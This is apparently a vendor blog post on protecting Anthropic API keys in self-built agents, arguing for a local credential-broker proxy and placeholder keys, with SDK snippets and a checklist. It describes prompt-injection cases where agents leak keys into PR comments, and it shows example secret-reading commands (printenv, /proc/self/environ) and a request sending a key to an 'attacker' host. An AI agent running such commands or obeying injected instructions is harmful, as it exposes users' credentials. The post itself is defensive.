You are writing an agent. Not Claude Code, not Cursor, not a wrapper. Your code imports anthropic (Python) or @anthropic-ai/sdk (TypeScript), calls messages.create, parses the result, maybe calls a tool, loops. The model talks to api.anthropic.com directly. Your sk-ant-... key lives in ANTHROPIC_API_KEY on your laptop, in .env, in CI, and probably in three GitHub Actions secrets you stopped tracking.
The 2026 Claude Code CVE wave made the env-var threat model concrete for a lot of developers. Those CVEs were Claude Code bugs, not SDK bugs. But the shape of the risk is the same the moment you spawn a Python or Node process with ANTHROPIC_API_KEY in scope: any code in that process, any dependency, any tool the agent invokes, and any prompt-injected tool output that ends up running shell can read the key.
This post is the per-framework how-to. We will walk the actual SDK behavior, the recent CVEs that prove the threat is not theoretical, and a placeholder plus broker pattern that breaks the chain in exactly one place. Both Python and TypeScript snippets. Real revocation link. A custom Authsome provider JSON at the end, because Anthropic is not a bundled provider and the honest framing is "you describe Anthropic to the broker once."
What the Anthropic SDK actually does with your key
The official Python SDK is annotated in the docs as follows. From the Anthropic Python SDK documentation:
import anthropic
client = anthropic.Anthropic(
# defaults to os.environ.get("ANTHROPIC_API_KEY")
api_key="my_api_key",
)
That comment is load-bearing. If you call Anthropic() with no arguments, the constructor resolves api_key from os.environ["ANTHROPIC_API_KEY"], stores it on the client object, and sends it as x-api-key: sk-ant-... on every request. The source lives in anthropic-sdk-python on GitHub.
The same constructor also reads:
ANTHROPIC_AUTH_TOKEN(sent asAuthorization: Bearer ...instead ofx-api-key)ANTHROPIC_BASE_URL(endpoint override, defaulthttps://api.anthropic.com)
There is no redaction layer. There is no secrets store. There is no in-memory encryption. The SDK is a normal HTTP client that takes a string from os.environ, holds it as a plain attribute, and puts it in a header.
The TypeScript SDK at @anthropic-ai/sdk on npm behaves the same way:
import Anthropic from "@anthropic-ai/sdk";
const client = new Anthropic({
apiKey: process.env["ANTHROPIC_API_KEY"], // This is the default and can be omitted
});
Again, the comment is the contract. new Anthropic() with no arguments resolves apiKey from process.env.ANTHROPIC_API_KEY.
The takeaway is plain. The default path is "key sits in os.environ for the lifetime of the process." Everything else in this post is about why that default is risky and what to do instead.
Why the env-var default is the actual problem
Anything that runs inside the same process can read os.environ. That is not a CVE. That is Unix. The CVEs of the last twelve months are useful because they show, concretely, how often "anything that runs inside the same process" includes things you did not write.
CVE-2025-59536. A malicious repo could ship a .claude/settings.json that overrode ANTHROPIC_BASE_URL. Claude Code would happily send the user's sk-ant-... to the attacker's server before the trust dialog appeared. Anthropic shipped a patch. The lesson for direct-SDK users is simple. ANTHROPIC_BASE_URL is read from the environment by your SDK too. Any process value (or a hijacked proxy, or a DNS shim) silently re-points the request, and the key travels with it.
Reports of OS command-injection issues in Claude Code CLI and the Claude Agent SDK have circulated in 2026. The shape of the risk is consistent. If any code path in your agent reaches subprocess.run, os.system, child_process.exec, or a shell tool, printenv | grep ANTHROPIC is a one-liner. Always check the official Anthropic security advisories for the current patched version.
Prompt-injection bug-bounty disclosures in 2026 have shown that malicious pull-request titles or document content can cause agents to execute embedded commands and write a leaked GitHub token plus ANTHROPIC_API_KEY straight into a PR comment. The threat model. Prompt-injected output of an LLM call can exfiltrate env vars whenever the agent has a "post comment" or "write file" tool. Which is most agents.
The OWASP Top 10 for LLM Applications still has prompt injection at #1. The exfiltration conditions are plain. (a) private data is accessible to the model (API keys in env count), (b) untrusted tokens enter the context (any tool output, any web fetch, any document), (c) an exfiltration vector exists (any tool that can hit the network). A direct-Anthropic-SDK agent that does HTTP calls satisfies all three by default.
If you want a longer treatment of how prompt injection turns into credential theft, the post on how prompt injection becomes credential exfiltration walks the chain end to end.
The pattern: placeholder in the env, real key at the proxy boundary
The defense that survives a malicious dependency, a shell injection, or a prompt-injected subprocess.run("printenv") is the same. Do not put sk-ant-... in os.environ at all.
Concretely:
- Put a placeholder string in
ANTHROPIC_API_KEY(or pass it explicitly to the constructor). - Point
ANTHROPIC_BASE_URLat a process you trust on127.0.0.1. - That process holds the real key in a vault, swaps in the
x-api-keyheader on the outbound leg toapi.anthropic.com, and proxies the response back.
The agent's process never reads, holds, logs, or sees the real key. A shell injection in the agent gets you printenv output that says ANTHROPIC_API_KEY=authsome-proxy-managed. A prompt-injected requests.get("https://attacker/?key=...") exfiltrates the placeholder.
You can build this yourself with mitmproxy, a tiny Flask app, or a Go binary. You can also use Authsome, which is an MIT-licensed, local-first credential broker that does exactly this. Because Anthropic is not a bundled provider, you describe it once in a JSON file and you are done. We will get to that config below.
Python: the four code paths you actually need
1. The unsafe baseline (so you can recognize it in your own code)
import os
from anthropic import Anthropic
# Reads ANTHROPIC_API_KEY from os.environ automatically.
client = Anthropic()
msg = client.messages.create(
model="claude-opus-4-8",
max_tokens=1024,
messages=[{"role": "user", "content": "Hello, Claude"}],
)
If you are running this, printenv ANTHROPIC_API_KEY from anywhere inside the process leaks the real key. So does cat /proc/self/environ on Linux. So does any dependency that calls os.environ.
2. Explicit api_key= (broker injects at call time)
from anthropic import Anthropic
def load_key() -> str:
# Pulled from a vault at call time. Never written to os.environ.
...
client = Anthropic(api_key=load_key())
This is better than env-var, but only marginally. The string still ends up on the client object. Anything in the process that grabs the client (or walks gc.get_objects()) gets it. Useful as a stepping stone if you cannot run a local proxy, not a real defense.
3. Route through a local broker on 127.0.0.1
from anthropic import Anthropic
client = Anthropic(
api_key="authsome-proxy-managed", # placeholder, never the real value
base_url="http://127.0.0.1:8787/anthropic",
default_headers={"X-Broker-Account": "work"}, # for multi-account routing
)
msg = client.messages.create(
model="claude-opus-4-8",
max_tokens=1024,
messages=[{"role": "user", "content": "Hello, Claude"}],
)
Or, since the SDK reads both vars from the env, do it without changing your code at all:
export ANTHROPIC_API_KEY=authsome-proxy-managed
export ANTHROPIC_BASE_URL=http://127.0.0.1:8787/anthropic
python my_agent.py
The broker on 127.0.0.1:8787 is responsible for taking the inbound request, looking up the real sk-ant-... in its encrypted vault, stripping the placeholder x-api-key, attaching the real one, and proxying to https://api.anthropic.com. The response goes back unchanged. Your messages.create call sees a normal stream.
4. Per-request override with extra_headers
The Anthropic SDKs expose extra_headers as a per-request escape hatch. It is the right place to pass an account selector or trace ID:
msg = client.messages.create(
model="claude-opus-4-8",
max_tokens=1024,
messages=[{"role": "user", "content": "Hello, Claude"}],
extra_headers={"X-Broker-Account": "personal"},
)
Treat that header surface as trusted-input-only. Do not splat raw user input into header values.
TypeScript: the same four paths
1. Unsafe baseline
import Anthropic from "@anthropic-ai/sdk";
const client = new Anthropic(); // reads process.env.ANTHROPIC_API_KEY
const msg = await client.messages.create({
model: "claude-opus-4-8",
max_tokens: 1024,
messages: [{ role: "user", content: "Hello, Claude" }],
});
2. Explicit apiKey
import Anthropic from "@anthropic-ai/sdk";
async function loadKey(): Promise<string> {
// Pull from a vault at call time. Never write to process.env.
return "...";
}
const client = new Anthropic({ apiKey: await loadKey() });
3. Route through 127.0.0.1
import Anthropic from "@anthropic-ai/sdk";
const client = new Anthropic({
apiKey: "authsome-proxy-managed",
baseURL: "http://127.0.0.1:8787/anthropic",
defaultHeaders: { "X-Broker-Account": "work" },
});
Or env-only:
export ANTHROPIC_API_KEY=authsome-proxy-managed
export ANTHROPIC_BASE_URL=http://127.0.0.1:8787/anthropic
node agent.js
4. Per-request override
const msg = await client.messages.create(
{
model: "claude-opus-4-8",
max_tokens: 1024,
messages: [{ role: "user", content: "Hello, Claude" }],
},
{ headers: { "X-Broker-Account": "personal" } },
);
Multi-account: work vs personal Anthropic
A lot of developers have two Anthropic accounts. A personal one with a small monthly budget, and a workspace tied to a company billing profile with workspace-scoped keys. Mixing them with a single ANTHROPIC_API_KEY is how you accidentally burn the company's quota on a weekend experiment, or worse, push a personal key into a corp repo.
There are three reasonable approaches.
Two separate shells with two separate env vars. Works, fragile. One cd into the wrong directory and you ship the wrong key.
A direnv (.envrc) per project. Better. Each project gets its own .envrc that loads the right key. Still leaves the key in os.environ for any process inside that directory.
A broker that holds both connections and routes by a header or by a profile flag at launch. This is where the broker pattern earns its keep, because the agent code does not have to know which account it is on. The broker decides based on a request header (X-Broker-Account: work) or on which profile was active when you launched the agent.
If you go the Authsome route, the relevant primitives are --connection (per-account credentials under one provider) and profile create / profile use (a named set of provider defaults). For example:
authsome login anthropic --connection work
authsome login anthropic --connection personal
authsome set-default anthropic work
We have a dedicated post on managing multiple GitHub accounts for AI agents that covers the same pattern with GitHub. The Anthropic case is structurally identical.
Custom provider JSON for Anthropic
Anthropic is not in the Authsome bundled-provider list (the bundle is heavy on GitHub, Google, Slack, Notion, OpenAI, Resend, and the like). The supported escape hatch is a custom provider JSON file at ~/.authsome/providers/anthropic.json, or registration via authsome register. This is the same mechanism used for Stripe or any other not-yet-bundled service.
A working API-key custom provider for Anthropic looks like this:
{
"name": "anthropic",
"display_name": "Anthropic",
"auth_type": "api_key",
"target": {
"host": "api.anthropic.com",
"scheme": "https"
},
"credential": {
"header": "x-api-key",
"prefix": "",
"env_var": "ANTHROPIC_API_KEY",
"prompt": "Paste your Anthropic API key (sk-ant-...). Create or rotate at https://console.anthropic.com/settings/keys"
},
"placeholder": "authsome-proxy-managed"
}
Save that file, then:
authsome login anthropic
# Paste your sk-ant-... key once. It lands in the encrypted SQLite vault under ~/.authsome/.
To launch your agent under the broker:
authsome run -- python my_agent.py
# or
authsome run -- node agent.js
Inside the spawned process, ANTHROPIC_API_KEY=authsome-proxy-managed and ANTHROPIC_BASE_URL points at the local proxy. The SDK picks both up. The real key never enters the agent's environment.
You can verify by printenv ANTHROPIC_API_KEY from inside the process, or by adding a subprocess.run(["env"], capture_output=True) step in the agent and printing the result. You will see the placeholder, not sk-ant-.... That is the property that survives a prompt-injected printenv.
For more on the library-mode escape hatch (from authsome.context import AuthsomeContext) if you want in-process credential reads without a proxy, the safe API access for LangChain and LlamaIndex agents post walks the read pattern.
What the broker does NOT solve
Being honest about this matters, because brokers get oversold.
A broker does not stop a compromised agent from spending your quota. Anything inside the agent process can still send messages through 127.0.0.1:8787 and have them go out as you. Mitigation. Workspace-scoped keys and per-key spend limits in the Anthropic console, plus the Admin API for programmatic rotation.
A broker does not patch Claude Code CVEs. Those are Claude Code and Claude Agent SDK bugs. Updating those tools is the fix. The broker only matters for the env-var threat shape. It does not retroactively unship a vulnerable CLI version.
A broker is not a substitute for revocation. Revocation at console.anthropic.com/settings/keys is instant. If you suspect a leak, revoke first, investigate second. Rotate on a cadence (90 days is a reasonable default) regardless.
A broker does not give you per-agent policy out of the box. A global allow/deny proxy mode per run exists in Authsome today, but per-agent access-control (this agent may use Anthropic, this one may not) is not shipped. If you need that, you are looking at a custom mitmproxy script or a different architecture.
A short checklist before you ship
| Check | Why it matters |
|---|---|
Anthropic() constructor. No env-var, or placeholder only | Removes the key from os.environ for the agent process |
ANTHROPIC_BASE_URL set to a trusted local proxy, not unset | An attacker who can write your env can re-point the SDK |
extra_headers used only with trusted input | Per the Anthropic SDK guidance |
| No shell tool that runs unsanitized model output | Prompt-injected command execution is the dominant exfiltration vector |
| Workspace-scoped keys with per-key spend limits | A compromised agent can still spend. Cap the blast radius |
| Revocation link bookmarked | console.anthropic.com/settings/keys |
| 90-day rotation cadence on a calendar | The Admin API makes this scriptable |
If you want the broader framing on why env-var is structurally the wrong place for an agent's keys, stop putting API keys in environment variables makes that argument from first principles, and secrets managers vs credential brokers for AI agents compares the broker model to AWS Secrets Manager, Vault, Doppler, and 1Password CLI for the agent use case specifically.
Wrap
The Anthropic SDK is a clean, well-documented HTTP client. The ANTHROPIC_API_KEY env-var default is convenient for a one-off script and dangerous the moment your agent grows a tool layer, calls dependencies you did not audit, or processes untrusted content. The CVE wave of the last twelve months is not noise. It is the threat model arriving on the front page of a research blog, with a CVSS attached.
The defense is small. Move the key out of the agent's process. Hold it in something that can swap it onto the request at the proxy boundary. Use placeholders in your env and in your code. Bookmark the revocation page. Rotate on a cadence.
The whole pattern is maybe ten lines of agent code plus one JSON file. Worth the afternoon.
Next steps
Quickstart
Install Authsome, register a custom Anthropic provider, and launch your first agent under the local proxy.
Anthropic SDK integration guide
The Authsome integration page for the Anthropic SDK, including library mode and per-account routing.
How prompt injection becomes credential exfiltration
Walks the chain from an untrusted document to a leaked sk-ant key, end to end.
Secrets managers vs credential brokers for AI agents
Why AWS Secrets Manager, Vault, and Doppler do not solve the agent-process problem, and what does.
Further reading
Browser-based AI agents and the cookie-jar problem
Browser agents like ChatGPT agent mode, OpenAI Operator, Browser Use, and Anthropic computer-use inherit every cookie and logged-in session in the browser they drive. Here is the threat model, what isolation works today, and the honest line between what a credential broker can and cannot fix.
Read postMay 29, 2026Securing the OpenAI Agents SDK end to end
The OpenAI Agents SDK reads OPENAI_API_KEY from your process environment and gives tools direct access to whatever you hand them. Here is how to lock that down end to end in 2026.
Read postJun 1, 2026OpenAI API key hygiene for AI agents: project keys, restricted keys, and what an agent should actually use
OpenAI ships four key types and per-endpoint scopes most teams never enable. Here is which one to hand an AI agent, how to scope it correctly, and where the dashboard stops helping.
Read post